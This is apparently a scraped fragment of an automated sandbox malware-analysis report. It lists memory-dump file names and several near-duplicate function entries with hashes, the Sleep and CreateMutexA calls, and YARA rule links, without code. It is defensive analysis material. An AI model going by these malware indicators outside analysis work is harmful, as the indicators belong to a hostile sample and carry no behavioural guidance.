Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 8dc22cda6ef5355a0b25a9a8d12809280751c252c6d28edbb7c08033207b3591
Instruction ID: f90f9b8e5866c9bdaae0241520c37828112e66c555bde50c84437739faf35644
Opcode Fuzzy Hash: 8dc22cda6ef5355a0b25a9a8d12809280751c252c6d28edbb7c08033207b3591
Instruction Fuzzy Hash: DF314AB1B102089BEB08DB78DD8CB7DBB72EFC2310F20461AE118973D1C77A4990865A

Function 004FA1AE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: ae711ae85df03bac9c8b723f128f95ed15b5af2a56496a56206801ca85e7803a
Instruction ID: 55ec778407019493322e4efd67be3b9eed7496d1e44f4f929e0b4749ef839465
Opcode Fuzzy Hash: ae711ae85df03bac9c8b723f128f95ed15b5af2a56496a56206801ca85e7803a
Instruction Fuzzy Hash: 93312AB1B002059FEB08DB6CDD8DB7DBB76AFC6310F20461AE118973D1D77A4990875A

Function 004FA418 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 4e36f4102d36e3c7f89350075c84607bc21020c71fda26d7a223bebe6f818d90
Instruction ID: dd7ccefcbc980b44ccdc82fed7a108453b3fb0e63060b519f94b0dea4ef31d06
Opcode Fuzzy Hash: 4e36f4102d36e3c7f89350075c84607bc21020c71fda26d7a223bebe6f818d90
Instruction Fuzzy Hash: 47314EB1B002049BEB08EB78DD8DB7DBB72EFC2310F204619E118973D5D7B94990866A

Function 004FA54D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: 6d4b9be6de91c63d19bea1730f38eb0451728513975f5d290711c33d67098a86
Instruction ID: 60b284ebb24410f171c299914641f5460909a00a2f638f2b7e70ed3112dc0be8
Opcode Fuzzy Hash: 6d4b9be6de91c63d19bea1730f38eb0451728513975f5d290711c33d67098a86
Instruction Fuzzy Hash: 5A313BB17001089BEB08EB78DD8DB7DBB72EFC6314F244619E548973D5C7798990871A

Function 004FA682 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2U$t
API String ID: 1464230837-1770300909
Opcode ID: a536c3ddea02b5230ef21b91bc1f4bc4bc8b90bd123c2811d615e0a4ff5abd1f
Instruction ID: 0fffb68ef5016345fc9bf7512bcb4b5439f6c76516597ecf677dc17b6cb5d5fe
Opcode Fuzzy Hash: a536c3ddea02b5230ef21b91bc1f4bc4bc8b90bd123c2811d615e0a4ff5abd1f
Instruction Fuzzy Hash: 37312CB17102048BEB08EB78DD8DB7DBB72EFC6310F24861AE558D73D1C7798990865A

Function 004F9ADC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004FA963
CreateMutexA.KERNEL32(00000000,00000000,00553254), ref: 004FA981

Strings

t, xrefs: 004FA998
T2U, xrefs: 004FA970

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
